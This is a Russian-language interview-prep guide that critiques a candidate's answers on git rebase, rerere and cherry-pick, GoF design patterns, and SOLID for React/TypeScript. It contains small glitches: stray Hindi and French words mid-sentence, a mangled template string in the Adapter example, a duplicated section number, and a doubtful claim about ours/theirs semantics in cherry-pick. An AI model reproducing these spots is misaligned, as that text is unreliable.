git config --global rerere.autoUpdate true # Авто-стейджит разрешенные конфликты

Сценарий:

  1. git rebase main -> конфликт в коммите 3 из 10.
  2. Руками правите файл -> git add -> git rebase --continue. rerere запомнил.
  3. Конфликт в коммите 7 (тот же кусок кода). rerere автоматически применяет ваше решение -> git rebase --continue проходит молча.
  4. Киллер-фича: Если вы ошиблись в разрешении -> git checkout --conflict=merge <file> -> правите -> git add -> rerere обновит память.

4. Интерактивный Rebase (rebase -i) — Инструмент гигиены истории

Перед пушем в общую ветку (или PR) Senior делает rebase -i для очистки локальной истории.

git rebase -i main
# или последние N коммитов:
git rebase -i HEAD~5

Команды в редакторе:

КомандаДействиеКогда использовать
pick (p)Оставить как есть.Базовое состояние.
reword (r)Изменить сообщение коммита (не меняя код).Опечатки, приведение к Conventional Commits (feat:, fix:).
edit (e)Остановиться на коммите для правки кода.Исправить баг, разбить коммит на два (reset HEAD^ -> commit -> commit -> continue).
squash (s)Слить с предыдущим (сообщения объединяются)."WIP", "fix typo", "lint" -> слить в один смысловой коммит.
fixup (f)Слить с предыдущим, отбросив сообщение fixup-коммита.Технические коммиты ("fix lint", "remove console.log").
drop (d)Удалить коммит полностью.Откат неудачного эксперимента, удаление секретов.
exec (x)Запустить команду (тесты) после коммита.exec npm test — гарантия, что каждый коммит проходит CI.

Golden Rule: rebase -i только над локальными коммитами, которых нет в origin.


5. Стратегии интеграции: Когда что применять (Team Policies)

Нет "лучшего", есть контракт команды.

Стратегия А: Merge Only (GitFlow / GitHub Flow стандарт)

  • Правило: main защищена. Вливание только через PR -> Merge Commit (или Squash Merge).
  • История: Граф с мерж-коммитами.
  • Плюсы: Максимальная трассируемость. git log --first-parent показывает историю релизов. Безопасно для git bisect (мерж-коммит — точка синхронизации).
  • Минусы: "Spaghetti history", шум в логах.

Стратегия Б: Rebase + Merge Commit (Semi-Linear)

  • Правило: Разработчик делает git fetch && git rebase origin/main локально. Решает конфликты. Пушит. PR мержится Merge Commit'ом (не Fast-Forward).
  • История: Линейная внутри фичи, но с явными Merge Commit'ами на границе main.
  • Плюсы: Чистые коммиты в фиче (хорошо для ревью), сохранена граница интеграции.
  • Минусы: Разработчик решает конфликты один (нагрузка на автора PR).

Стратегия В: Squash Merge (GitHub/GitLab Default для Trunk-Based)

  • Правило: PR сливается одним коммитом (Squash and Merge).
  • История: Идеально линейная main. Каждый коммит в main = одна задача (PR).
  • Плюсы: Максимально чистая main. git bisect работает идеально (атомарные фичи).
  • Минусы: Теряется история внутри PR (коммиты "wip", "fix"). Нельзя сделать cherry-pick отдельного коммита из PR.
  • Best Practice: Требуйте хорошее сообщение Squash-коммита (шаблон PR: Title = Summary, Body = Context).

Стратегия Г: Fast-Forward Only (Strict Linear / Linux Kernel style)

  • Правило: main обновляется только ff-only. Rebase делает автор перед пушем. Merge Commit'ов нет вообще.
  • Плюсы: Абсолютно линейная история.
  • Минусы: Сложно откатить целую фичу (нет границы Merge Commit). Сложно бисектить, если фича большая и разбита на много коммитов.

6. Опасность Rebase: "Золотое правило" и Force Push

> НИКОГДА НЕ ДЕЛАЙТЕ REBASE КОММИТОВ, КОТОРЫЕ УЖЕ ЕСТЬ В REMOTE (PUBLIC).

Почему:

  1. rebase меняет SHA коммитов.
  2. У коллеги есть старые коммиты локально.
  3. Коллега делает git pull -> получает дубликаты коммитов (старые + новые ребазированные) -> хаос, дубликаты в истории, сломанные PR.

Безопасный Force Push (если ребазили свою фичу, которая уже в PR):

# НЕБЕЗОПАСНО: git push --force (затрет работу других, если они пушили в эту ветку)
# БЕЗОПАСНО:
git push --force-with-lease
# Или (Git 2.30+):
git push --force-if-includes
  • --force-with-lease проверяет: "Мой origin/feature указывает на тот коммит, который я знаю?". Если кто-то в बीच пушнул — откажет.
  • --force-if-includes еще строже: проверяет, что ваш локальный origin/feature (после fetch) содержит коммит, на который указывает remote.

6. merge --squash vs rebase vs squash merge (PR Button)

Не путать:

  1. git merge --squash featureлокально готовит индекс для одного коммита, не делает коммит, не записывает родителей. git commit -> обычный коммит (нет связи с feature).
  2. git rebase -i + squash/fixupпереписывает историю ветки feature локально перед пушем.
  3. Squash Merge (UI кнопка в GitHub/GitLab) — сервер создает новый коммит на main с суммой изменений, удаляет ветку. В main линейная история.

7. git bisect и влияние стратегии

  • Merge Commit: bisect скачет по Merge Commit'ам. Если Merge Commit сломан — неясно, какой именно коммит фичи виноват (нужен bisect внутри фичи).
  • Squash Merge / Rebase + FF: Каждый коммит в main — атомарная логическая единица. bisect указывает точно на коммит, сломавший билд. Лучше для отладки регрессий.

8. Чек-лист Senior'а перед интеграцией

  1. Локально: git fetch --prune.
  2. Обновил базу: git rebase origin/main (или merge origin/main по политике).
  3. Почистил историю: git rebase -i origin/main -> fixup/reword/drop.
  4. Прогнал тесты: git rebase -i -x "npm test" origin/main (проверка каждого коммита).
  5. Разрешил конфликтыrerere).
  6. Запушил: git push --force-with-lease (если ребазил свою ветку).
  7. Создал PR с понятным описанием.
  8. Мерж стратегия: Согласно команде (Squash Merge / Merge Commit).

Резюме: Кандидат знает определения. Senior выбирает стратегию исходя из политики команды и инструментов (GitHub/GitLab UI). Понимает, что Rebase — это гигиена локальной истории (перед PR), а Merge (или Squash Merge) — это фиксация факта интеграции в общую ветку. Владеет rebase -i для приведения коммитов в порядок, использует rerere для боли с конфликтами и никогда не делает push --force без --force-with-lease.

Вопрос 33. Для чего используется cherry-pick

Таймкод: 01:20:21

Ответ собеседника: Правильный. Перенос конкретного коммита из одной ветки в другую. Кейс: хотфикс в проде — поправили в релизной ветке, зачерипикли в develop/main.

Правильный ответ:

Кандидат верно назвал основной сценарий — backporting (перенос исправлений в старые ветки). На уровне Senior/Tech Lead важно понимать механику (patch-id), проблемы с историей и конфликтами, подписание коммитов, автоматизацию через скрипты/ботов и альтернативы (merge, revert, patch files). Ниже — углубленный разбор.


1. Как это работает под капотом (Механика)

git cherry-pick <commit> — это не перемещение коммита, а создание нового коммита с тем же набором изменений (diff), но новым родителем (текущий HEAD) и новым SHA.

  • Git берет diff коммита (git show <commit> --patch).
  • Пытается применить этот diff к текущему состоянию Working Tree/Index (3-way merge относительно родителя коммита).
  • Создает новый коммит с тем же сообщением (по умолчанию) и автором/датой автора, но новым коммитером/датой коммита и новым хешем.

Последствия:

  • Дублирование изменений: Одно и то же изменение существует в двух местах истории с разными SHA.
  • git log --oneline --graph покажет две параллельные линии с одинаковым содержимым.
  • git merge позже может вызвать конфликты (хотя Git умеет детектировать уже примененные патчи через patch-id, это не всегда работает идеально при рефакторинге окружения).

2. Основные сценарии использования (Best Practices)

СценарийКоманда / ПодходНюансы
Hotfix Backport (Release -> Main/Develop)git checkout main && git cherry-pick <hotfix-commit>Классика. Фиксим в release/v1.0, переносим в main и develop.
Backport в LTS ветки (v1.x, v2.x)Скрипт/Бот: git checkout v1.x && git cherry-pick <commit>Часто автоматизируется. Требует разрешения конфликтов под версию API ветки.
Извлечение коммита из чужого PR / Forkgit fetch origin pull/123/head:pr-123 && git cherry-pick <commit>Полезно, если PR большой, а нужен только один фикс.
Откат (Revert) с сохранением историиgit revert <commit> (лучше) vs cherry-pickrevert создает "анти-коммит", сохраняя контекст. cherry-pick — для переноса вперед.
Перенос локальной работы на другую веткуgit checkout feature-B && git cherry-pick feature-A~3..feature-AДиапазон коммитов. Полезно, если начали работу не в той ветке.

3. Продвинутые флаги и режимы

# 1. Не коммитить, а подготовить Index/Working Tree (для правки перед коммитом)
git cherry-pick -n <commit> # --no-commit
# Полезно: объединить несколько пиков в один коммит, подправить код под новую базу.

# 2. Редактировать сообщение коммита (добавить ссылку на исходный)
git cherry-pick -e <commit> # --edit
# Best Practice: Добавлять в футер: "Cherry-picked from commit a1b2c3d"

# 3. Подписать коммит (GPG/SSH) — критично для Supply Chain Security
git cherry-pick -s <commit> # --signoff (Добавляет Signed-off-by trailer)
git cherry-pick --gpg-sign <commit> # -S, подписать ключом

# 4. Стратегия слияния (если конфликты)
git cherry-pick -X theirs <commit> # Принять "их" версию (в контексте cherry-pick: версию из пикаемого коммита)
git cherry-pick -X ours <commit> # Оставить "нашу" версию (текущую ветку)
# Внимание: семантика ours/theirs инвертирована относительно merge!

# 5. Диапазон коммитов (включая границы)
git cherry-pick A..B # Коммиты ПОСЛЕ A ДО B (не включая A)
git cherry-pick A^..B # Включая A

4. Конфликты при Cherry-pick: Специфика

Конфликт возникает, если контекст (окружающий код) в целевой ветке отличается от исходной.

Алгоритм действий:

git cherry-pick <commit>
# CONFLICT (content): Merge conflict in src/file.ts

# 1. Решаем конфликт вручную (редактируем файл)
# 2. Добавляем в индекс
git add src/file.ts

# 3. Продолжаем (создает коммит с исходным сообщением, если не было -e)
git cherry-pick --continue

# ОТМЕНА (если поняли, что не туда пикаете или конфликт слишком сложный)
git cherry-pick --abort
# Восстанавливает состояние до начала операции (HEAD, Index, Worktree).

Лайфхак: git rerere (Reuse Recorded Resolution) Обязательно включите глобально (git config --global rerere.enabled true). Если вы разрешили конфликт при пике в release/v1, а потом пикаете тот же коммит в release/v2 — Git автоматически применит ваше предыдущее разрешение.


5. Опасности и Антипаттерны (Senior Warnings)

А. "Duplicate Commits Hell" (Ад дубликатов) Если вы зачерипикли коммит в main, а потом делаете git merge release/v1.0 (в которой этот коммит есть):

  • Git должен увидеть, что изменение уже применено (по patch-id), и проигнорировать его при мерже.
  • Но: Если при cherry-pick вы поправили код (решили конфликт иначе, отформатировали, добавили лог) — SHA изменится, patch-id может не совпасть. Merge создаст дублирующую логику или конфликт.
  • Правило: Cherry-pick — это односторонний перенос. Не мержайте ветку-донор в целевую после пикинга без понимания последствий. Лучше: git merge --strategy=ours release/v1.0 (записать факт синхронизации без изменений) или просто не мержить.

Б. Потеря авторства / Conventional Commits

  • Автор (Author) сохраняется. Коммитер (Committer) — вы (сейчас).
  • Если команда требует Signed-off-by (DCO) — нужен флаг -s.
  • Если используется Conventional Commits (feat:, fix:) — сообщение переносится как есть. Но если пикаете в другую мажорную версию, тип коммита может стать неактуальным (например, feat в старую ветку поддержки — это fix/backport).

В. Cherry-pick Merge Commit'а (Опасно!)

git cherry-pick <merge-commit-sha>
# ОШИБКА: commit <sha> is a merge but no -m option was given.

У Merge Commit'а два родителя. Git не знает, относительно какого родителя считать diff.

  • git cherry-pick -m 1 <merge-sha> — diff относительно первого родителя (обычно целевая ветка, куда вмержили). Это "распаковывает" все изменения фичи в один коммит.
  • git cherry-pick -m 2 <merge-sha> — diff относительно второго родителя (ветка-фича). Редко нужно.
  • Best Practice: Не пикайте мерж-коммиты. Пикайте конкретные коммиты фичи (или используйте git merge --squash для получения единого патча).

6. Автоматизация Backporting (Enterprise Scale)

В больших проектах (Kubernetes, React, VS Code, корп. монорепы) бэкпорты делают боты.

Пример логики бота (GitHub Actions / Probot / Custom):

  1. В PR в main добавляют лейбл backport v1.x, backport v2.x.
  2. Бот при мерже PR:
    • Берет Squash Merge Commit (или список коммитов PR).
    • Для каждой целевой ветки (release/v1.x):
      • Создает временную ветку от release/v1.x.
      • Пытается cherry-pick (или git apply патча).
      • Если успешно -> пушит ветку, создает PR в release/v1.x с заголовком [Backport v1.x] Original PR Title.
      • Если конфликт -> создает Issue/PR с пометкой needs-manual-backport, тегает авторов.
  3. Ревьювер в релизной ветке видит готовый PR, прогоняет тесты, мержит.

Инструменты: backport (npm pkg), git-cherry-pick-action, probot/backport, Mergify.


7. Альтернативы Cherry-pick

ЗадачаИнструментПочему лучше
Перенести ВСЮ фичуgit merge / git rebaseСохраняет историю, связь с родителем, проще откатить.
Откатить изменениеgit revert <commit>Создает явный "анти-коммит", безопасен для публичной истории, bisect работает корректно.
Перенести изменения без истории (один патч)git diff A..B > patch.file<br>git apply patch.file / git am < patch.fileПолный контроль над тем, что применяется. git am сохраняет автора/дату/сообщение из email-патча.
Взять файл из другого коммита/веткиgit checkout <commit> -- path/to/file<br>git restore -s <commit> -- path/to/fileНе создает коммит, просто берет состояние файла. Идеально для конфигов, ассетов.
Синхронизировать длинную историю (Vendor branch)git subtree / git submodule / git merge -s subtreeПравильная архитектура для зависимостей, а не ручное копирование коммитов.

8. Чек-лист перед git cherry-pick (Senior Checklist)

  1. Нужен ли именно этот коммит? Не лучше ли merge/revert/checkout file?
  2. Есть ли тесты? Запустить тесты после пика (конфликт мог сломать логику).
  3. Флаг -x / -e? Добавить в сообщение ссылку на исходный коммит (cherry picked from commit ...) — критично для трейсабилити.
  4. Флаг -s? Нужен ли Signed-off-by (DCO policy).
  5. Конфликты? Использовать rerere. Если конфликт сложный — возможно, код слишком ушел, лучше сделать бэкпорт вручную (написать фикс под версию).
  6. Не пикаем ли Merge Commit? Если да — используем -m 1 и понимаем, что теряем историю коммитов фичи.
  7. CI/CD? Проверить, что бэкпорт-ветка проходит пайплайн целевой версии (Node версия, депы могут отличаться).

Резюме: Кандидат знает кейс хотфикса. Senior использует cherry-pick целенаправленно и осторожно: с флагами -x (трейс) и -s (подпись), понимает механику patch-id и риски дублирования при последующих мержах, автоматизирует рутину бэкпортов через ботов/лейблы и знает альтернативы (revert, checkout --patch, subtree) для случаев, когда пикинг — это "костыль" архитектуры.

Вопрос 34. Основные группы паттернов проектирования (GoF) и примеры

Таймкод: 01:21:18

Ответ собеседника: Правильный. 1. Порождающие (Creational): Factory, Builder (чейннинг), Singleton. 2. Структурные (Structural): Adapter (DTO -> Store/Props), Decorator (обёртка: кэш, логирование). 3. Поведенческие (Behavioral): Observer (подписка на события, MutationObserver), Proxy (MobX, стейт-менеджеры). Привёл примеры из практики.

Правильный ответ:

Кандидат верно назвал три классические категории GoF и привел релевантные фронтенд-примеры. На уровне Senior/Tech Lead ожидается не просто перечисление, а понимание применимости в современном JS/TS/React экосистеме, проблем с классическими реализациями (Singleton, Observer), функциональных альтернатив и архитектурных причин выбора. Ниже — разбор с акцентом на TypeScript и React.


1. Порождающие (Creational) — Управление созданием экземпляров

Суть: Инкапсуляция логики инстанцирования, отделение клиента от конкретных классов.

ПаттернСутьСовременный JS/TS контекстПример использованияАнтипаттерн / Предостережение
Factory Method / Abstract FactoryДелегирование создания подклассам / фабрике семейств.DI Containers (NestJS, Inversify), createElement в React, фабрики хуков (useQueryFactory).Создание разных типов уведомлений (Email, Push, SMS) через единый интерфейс NotificationFactory.Слишком много абстракций для простых объектов. В TS часто заменяется Discriminated Unions + функция-конструктор.
BuilderПошаговое конструирование сложного объекта.Query Builders (Knex, Prisma, Kysely), URLSearchParams, конфигурация сложных компонентов (ChartConfigBuilder).new RequestBuilder().setUrl('/api').setMethod('POST').addHeader('auth', token).build()Fluent API / Method Chaining — стандарт де-факто. В TS используйте this return type для цепочек.
PrototypeКлонирование экземпляра вместо new.Immer (produce/draft), structuredClone, Object.assign, spread-оператор.Оптимистичное обновление стейта: const nextState = produce(state, draft => { draft.items.push(newItem) }).Глубокое клонирование (JSON.parse(JSON.stringify)) — медленно и теряет функции/классы. Используйте Immer или structuredClone.
SingletonГлобальная точка доступа, один экземпляр.Модули ES6 (export const instance = ...) — это и есть нативный Singleton. Redux Store, Apollo Client, Logger, Config.export const logger = new Logger(); // в модулеГлобальное мутабельное состояние — враг тестируемости и SSR. В React/Next.js избегайте синглтонов с состоянием, используйте Context / Dependency Injection / Request-scoped провайдеры.

Senior Insight (TypeScript): Вместо классического Factory Class часто пишут Factory Functions с Discriminated Unions:

type Notification =
| { type: 'email'; address: string }
| { type: 'push'; token: string };

function createNotificationSender(n: Notification): Sender {
switch (n.type) {
case 'email': return new EmailSender(n.address);
case 'push': return new PushSender(n.token);
}
}

2. Структурные (Structural) — Композиция классов и объектов

Суть: Как собирать объекты в большие структуры, сохраняя гибкость.

ПаттернСутьСовременный JS/TS контекстПример использованияАнтипаттерн / Предостережение
AdapterПриведение интерфейса А к интерфейсу Б.Нормализация API (DTO -> Domain Model), обертки над легаси/библиотеками (axios adapter для fetch), React.forwardRef (адаптация ref).const userAdapter = (dto: UserDTO): User => ({ id: dto._id, name: dto.first{dto.first} {dto.last} });Не путайте с Mapper/Transformer. Адаптер — про интерфейс (поведение), а не просто данные.
DecoratorДобавление ответственностей динамически (обертка).HOC (Higher-Order Components) — уходит в прошлое. Custom Hooks Composition (useAuth -> usePermissions -> useData), Middleware (Express, Redux, Axios), Class Decorators (TS/Decorators Stage 3) — MobX @observable, @computed.const withLogging = (Component) => (props) => { useEffect(() => log(props), [props]); return <Component {...props} />; };HOCs создают "Wrapper Hell" в DevTools. В React 18+ предпочитайте Hook Composition или Render Props (редко).
ProxyЗаместитель, контролирующий доступ.React.memo, Proxy объекты (MobX, Vue 3, Valtio, Immer), Virtual Proxy (Lazy Loading: React.lazy, next/dynamic), Protection Proxy (RBAC обертки).const reactiveState = new Proxy(state, { set(target, prop, val) { track(); target[prop]=val; trigger(); return true; } })Нативный Proxy ломает === проверки и JSON.stringify. В производительных путях (рендеринг списков) избегайте глубоких прокси.
FacadeУпрощенный интерфейс к сложной подсистеме.Service Layer / API Client (api.user.getProfile() вместо fetch + headers + error handling), Facade Components (<DataTable /> скрывает сортировку, пагинацию, фетчинг).class UserService { async getProfile() { const res = await this.http.get('/me'); return UserAdapter(res.data); } }Не создавайте "God Facade", знающий обо всем. Разбивайте по доменам (UserFacade, BillingFacade).
CompositeДерево объектов (часть-целое).React Elements (Fiber Tree), Menu/Tree UI компоненты, Formik / React Hook Form (FieldArray -> Field).<Menu><MenuItem /><SubMenu><MenuItem /></SubMenu></Menu> — рекурсивный рендер.Рекурсия без мемоизации (React.memo) = ре-рендеры всего дерева при изменении листа.
FlyweightЭкономия памяти через разделение состояния.Интернирование строк (React Keys, Symbol), CSS-in-JS (генерация уникальных классов), Canvas/WebGL (пул частиц, иконки).const iconCache = new Map<string, SVGElement>();В JS/TS GC обычно справляется. Нужен только при тысячах однотипных объектов (Canvas, большие списки виртуализации).

3. Поведенческие (Behavioral) — Взаимодействие и распределение ответственности

Суть: Алгоритмы и коммуникация между объектами.

ПаттернСутьСовременный JS/TS контекстПример использованияАнтипаттерн / Предостережение
Observer / Pub-SubПодписка на изменения (1:N).EventEmitter (Node), Custom Events (DOM), RxJS (Subject/Observable), Signals (@preact/signals, SolidJS, Angular Signals), Zustand/Valtio subscribers.const store = createStore(state); store.subscribe(listener);Классический Observer (GoF) создает сильную связанность (Subject знает о Observer). В JS предпочитайте Event Bus / RxJS / Signals (слабая связанность, удобная отписка).
StrategyИнкапсуляция алгоритма, горячая замена.Sorting/Filtering функции, Payment Providers (Stripe/PayPal), Auth Strategies (Passport.js), React Render Props (устарело), Custom Hooks (useLocalStorage vs useSessionStorage).const sorters = { asc: (a,b) => a-b, desc: (a,b) => b-a }; const sort = sorters[strategy];В FP/TS часто заменяется функциями высшего порядка или объектом-стратегией (Record<Type, Fn>). Избегайте классов Strategy там, где достаточно функции.
CommandИнкапсуляция действия как объекта.Redux Actions / Action Creators, Undo/Redo Managers, CLI Commands (Commander.js), Transactional Outbox.interface Command { execute(): void; undo(): void; }В Redux/Flux это данность. Для Undo/Redo используйте библиотеки (redux-undo, immer с историей), не пишите вручную.
State Machine / StateПоведение зависит от состояния.XState / Stately, React State Machines, Status Enums (idle | loading | success | error).const machine = createMachine({ id: 'fetch', initial: 'idle', states: { idle: { on: { FETCH: 'loading' } }, loading: { on: { RESOLVE: 'success', REJECT: 'error' } } } });Boolean флаги (isLoading, isError, isSuccess) — антипаттерн "Impossible States". Всегда моделируйте через Discriminated Union или XState.
Chain of ResponsibilityЦепочка обработчиков.Express Middleware (next()), Axios Interceptors, React Context Providers (вложенные), Error Boundaries.app.use(auth).use(logger).use(router);Сложность отладки (где упало?). Логируйте вход/выход из каждого звена.
IteratorПоследовательный доступ без раскрытия структуры.Symbol.iterator, Generators (function*), Async Iterators (for await).async function* fetchAllPages(url) { while(url) { const res = await fetch(url); yield* res.data; url = res.nextPage; } }Стандарт языка. Используйте for await (const item of stream) для стриминговых ответов (LLM, большие CSV).
MediatorЦентрализованное управление взаимодействием.Redux Store / Event Bus / Message Broker (Kafka/RabbitMQ на бэке), Form Libraries (координируют поля).Компоненты не знают друг о друге, диспатчат экшены в Store.God Mediator — когда один объект знает обо всем. Декомпозируйте по доменам (Module Federation, Micro-frontends).
Template MethodСкелет алгоритма с переопределением шагов.Abstract React Class Components (устарело), Базовые классы сервисов (BaseService с handleError), Next.js getStaticProps/getServerSideProps (жизненный цикл).abstract class BaseFetcher { async fetch() { await this.auth(); const data = await this.getData(); return this.transform(data); } abstract getData(); }Наследование в JS/TS — зло. Предпочитайте Composition (Hooks / Functions). fetchWithAuth(authFn, dataFn, transformFn).
VisitorРазделение алгоритма от структуры объекта.AST Transformers (Babel, ESLint, TypeScript Compiler API), Сериализация/Валидация сложных деревьев.visitor.visit(node) { switch(node.type) { case 'Identifier': ... } }Очень специфичен. Нужен только при работе с AST / IR / сложными древовидными структурами данных. В бизнес-логике почти не встречается.

4. Паттерны, которых НЕТ в GoF, но критичны для Senior Frontend (Modern Patterns)

ПаттернОписаниеПример
Compound ComponentsНеявное связывание состояния через Context (<Select><Option /><Trigger /></Select>).Radix UI, Headless UI, React Aria.
Render Props / Function as ChildИнверсия управления рендером (исторически, сейчас хуки).<Mouse>{({x, y}) => <Cat position={{x, y}} />}</Mouse>
Custom Hooks CompositionОсновной способ переиспользования логики в React.const useUser = () => { const auth = useAuth(); const data = useQuery(auth.id); return data; }
Controlled / Uncontrolled ComponentsУправление состоянием (React owns vs DOM owns).<input value={val} onChange={...} /> vs <input defaultValue={val} ref={...} />
Module Pattern / IIFEИнкапсуляция приватности (до private полей / #private).const Counter = (() => { let count = 0; return { inc() { return ++count } } })();
Dependency Injection (DI)Инверсия контроля зависимостей.Angular DI, InversifyJS, NestJS, React Context (упрощенный DI).

5. Чек-лист Senior'а: "Нужен ли мне паттерн?"

  1. YAGNI (You Aren't Gonna Need It): Не вводите Factory/Strategy/Decorator, пока нет реального требования к замене реализации или расширению.
  2. Язык решает за вас:
    • Singleton = export const (Module Pattern).
    • Iterator = Symbol.iterator / Generators.
    • Decorator = Higher-Order Functions / Hooks / TS Decorators.
    • Strategy = Function / Record<Type, Fn>.
    • Observer = EventTarget / RxJS / Signals.
  3. Композиция > Наследование: GoF написан под C++/Java 90-х. В JS/TS 2024 Functional Composition и Object Composition побеждают Class Inheritance.
  4. Тестируемость: Паттерн хорош, если он позволяет подменить зависимость в тесте (порт/адаптер, стратегия, фабрика).
  5. Читаемость: Если паттерн заставляет читать 5 файлов, чтобы понять, куда кликает кнопка — паттерн вреден.

Резюме: Кандидат знает классику. Senior не запоминает каталог, а распознает проблему (создание, структура, поведение) и подбирает идиоматичное для стека решение (TS Types, Hooks, Signals, Generators, Module System), зная, где классический GoF упрощается языком, а где требует осторожности (Singleton, Observer, Inheritance-based Patterns).

Вопрос 35. Расскажи о принципах SOLID

Таймкод: 01:26:28

Ответ собеседника: Неполный. S — Single Responsibility (единая ответственность). O — Open/Closed (открыт для расширения, закрыт для модификации) — запутался в формулировке, исправил после подсказки. L — Liskov Substitution (подстановка Барбары Лисков) — описал как возможность использовать наследников вместо базового типа. I — Interface Segregation (разделение интерфейсов) — не помнил точно, сказал про 'не заставлять клиента реализовывать лишние методы'. D — Dependency Inversion (инверсия зависимостей) — описал как зависимость от абстракций, а не конкретных реализаций. Не привел конкретные примеры из фронтенда.

Правильный ответ:

Кандидат знает акронимы и суть, но на уровне Senior/Tech Lead требуется умение применять принципы в контексте React/TypeScript, понимание trade-offs (компромиссов) и знание, где принципы работают иначе, чем в классическом ООП (Java/C#). В JS/TS нет интерфейсов во время выполнения, наследование классов используется редко, а композиция хуков и компонентов диктует свои правила.


S — Single Responsibility Principle (Принцип единственной ответственности)

Формулировка: У модуля (класса, функции, компонента, хука) должна быть одна причина для изменения.

Фронтенд-контекст:

  • Компоненты: <UserProfile /> не должен знать, как фетчить данные, как валидировать форму и как рендерить аватарку.
    • Плохо: Один компонент делает fetch, парсит JSON, хранит стейт, рендерит layout, модалки и тосты.
    • Хорошо: <UserProfileContainer /> (data fetching + state) -> <UserProfileView /> (UI) -> <Avatar />, <UserForm /> (изолированные UI-примитивы).
  • Хуки: useUserData отвечает только за получение и кэширование данных. useUserForm — только за состояние формы и валидацию. Не смешивать useEffect для фетча и useState для модалки в одном кастомном хуке.
  • Утилиты/Сервисы: apiClient делает HTTP. tokenManager работает с токенами. dateUtils форматирует даты. Не пишите apiClient.formatDate().

Senior Insight: SRP часто конфликтует с DRY и удобством (Colocation). Не дробите до абсурда (антипаттерн "Размытый код" / Shotgun Surgery). Группируйте по бизнес-причине изменения (Domain), а не по техническому типу.


O — Open/Closed Principle (Принцип открытости/закрытости)

Формулировка: Программные сущности должны быть открыты для расширения, но закрыты для модификации.

Фронтенд-контекст (Композиция > Наследование): В классическом ООП это про наследование и виртуальные методы. В React/TS — про композицию, пропсы, HOC, Render Props, кастомные хуки и плагинную архитектуру.

  • Пропсы как точки расширения: Компонент <Button /> закрыт для изменения кода, но открыт для расширения через variant, size, onClick, children, renderIcon (Render Prop).
  • HOC / Wrapper Components: withAuth(Component) расширяет поведение без изменения Component.
  • Плагинная архитектура / Middleware: axios.interceptors, redux middleware, vite plugins, eslint plugins. Ядро не меняется, функционал добавляется плагинами.
  • Discriminated Unions / Strategy Pattern: Добавление нового типа уведомления (type: 'sms') требует добавления кейса в switch (нарушение OCP в чистом виде), но в TS never проверка заставит обновить все места — это контролируемое нарушение, безопасное за счет типов.

Senior Insight: В UI полное соблюдение OCP часто ведет к Over-engineering (абстракции ради абстракций). Применяйте там, где есть стабильный контракт (UI Kit, Public API, Ядро фреймворка). В бизнес-логике фичи часто проще поменять код (Closed for modification — миф), чем поддерживать гибкую плагинную систему.


L — Liskov Substitution Principle (Принцип подстановки Лисков)

Формулировка: Объекты наследников должны pouvoir заменять объекты базового типа без нарушения корректности программы (предусловия не усиливаются, постусловия не ослабляются, инварианты сохраняются).

Фронтенд-контекст (Редко про классы, часто про контракты):

  • Компоненты-полиморфизм: Если <Select /> ожидает опции { value, label }, любой компонент-опция должен это предоставлять. Кастомный <AsyncSelectOption /> не должен ломать навигацию клавиатурой (нарушение поведения).
  • Кастомные хуки (Hook Contracts): useList возвращает { items, loading, error, refetch }. Хук useVirtualizedList должен возвращать тот же интерфейс + возможно virtualItems. Потребитель хука не должен знать, какой именно хук используется.
  • Адаптеры API: UserApi.getUser() возвращает Promise<User>. MockUserApi.getUser() должен возвращать Promise<User> с теми же полями и семантикой ошибок (не возвращать null вместо throw).

Классическое нарушение (Square/Rectangle) в UI: ResizableBox (базовый) -> FixedAspectRatioBox (наследник). Если базовый позволяет setWidth и setHeight независимо, наследник ломает это (меняя высоту при смене ширины) — нарушение LSP. Решение: не наследовать, а компонуть (<AspectRatio><ResizableBox /></AspectRatio>).


I — Interface Segregation Principle (Принцип разделения интерфейса)

Формулировка: Клиенты не должны зависеть от методов, которые они не используют. Лучше много специализированных интерфейсов, чем один "божественный".

Фронтенд-контекст (TypeScript Interfaces / Props):

  • Props Drilling / God Props: <PageComponent user={user} posts={posts} settings={settings} theme={theme} onLogin={} onLogout={} onSave={} /> — нарушение ISP. Компоненту нужны только posts, а он получает всё.
  • Разделение: <PostsList posts={posts} />, <Header user={user} onLogout={} />, <SettingsPanel settings={settings} onSave={} />.
  • TS Интерфейсы для хуков/сервисов:
    • Плохо: interface IUserService { getUser(); getPosts(); getSettings(); login(); logout(); updateProfile(); }Header использует только logout, но зависит от всего.
    • Хорошо: interface IAuthService { logout(); getCurrentUser(); }, interface IUserProfileService { updateProfile(); }. Внедряем конкретный сервис.
  • React Context: Не кладите всё в один AppContext. Разделяйте: AuthContext, ThemeContext, NotificationContext. Компонент перерисовывается только при изменении своего контекста.

Senior Insight: В TS интерфейсы — это compile-time концепция. ISP напрямую влияет на производительность ре-рендеров (Context splitting) и связанность модулей (Dependency Injection).


D — Dependency Inversion Principle (Принцип инверсии зависимостей)

Формулировка:

  1. Модули высокого уровня не должны зависеть от модулей низкого уровня. Оба должны зависеть от абстракций.
  2. Абстракции не должны зависеть от деталей. Детали должны зависеть от абстракций.

Фронтенд-контекст (DI, Context, Props, Mocking):

  • Абстракция = Интерфейс (TS) / Контракт (Пропсы).
  • Деталь = Реализация (API call, LocalStorage, WebSocket, Mock).

Примеры:

  1. Data Fetching (Repository Pattern):

    // Абстракция (Domain Layer)
    interface IUserRepository {
    getUser(id: string): Promise<User>;
    }

    // Детали (Infrastructure Layer)
    class HttpUserRepository implements IUserRepository { ... }
    class MockUserRepository implements IUserRepository { ... } // для Storybook/Tests
    class CachedUserRepository implements IUserRepository { // Декоратор
    constructor(private repo: IUserRepository) {}
    async getUser(id) { ... }
    }

    // Высокий уровень (Feature/UI) зависит ТОЛЬКО от IUserRepository
    const useUser = (id: string, repo: IUserRepository) => { ... }

    Внедрение: Через React Context (Provider), пропсы (для лифтов), DI-контейнеры (Inversify, NestJS-like в Next.js API routes) или просто импорт фабрики в index.ts (Composition Root).

  2. Сторонние библиотеки: Не импортируйте axios или localStorage напрямую в компоненты/хуки бизнес-логики. Оберните в HttpClient / StorageAdapter. Легко заменить на fetch / IndexedDB / Mock.

  3. Тестируемость: Это главная прагматическая причина DIP на фронтенде. Вы подменяете IUserRepository на MockUserRepository в тестах или Storybook без мокирования fetch / window (MSW — это другой уровень, DIP — архитектурный).

Senior Insight: Не фанатично внедряйте DI-контейнеры везде. В React Composition Root часто лежит в App.tsx или providers.tsx. Для 90% проектов достаточно: Interface (TS) + Factory Function + Context/Props.


Сводная таблица: SOLID в современном Frontend (React/TS)

ПринципКлассика (Java/C#)React / TypeScript RealityГлавный инструмент
SКласс делает одно делоКомпонент/Хук/Функция делает одно дело. Разделение по причинам изменения.Композиция компонентов, Кастомные хуки, Модули
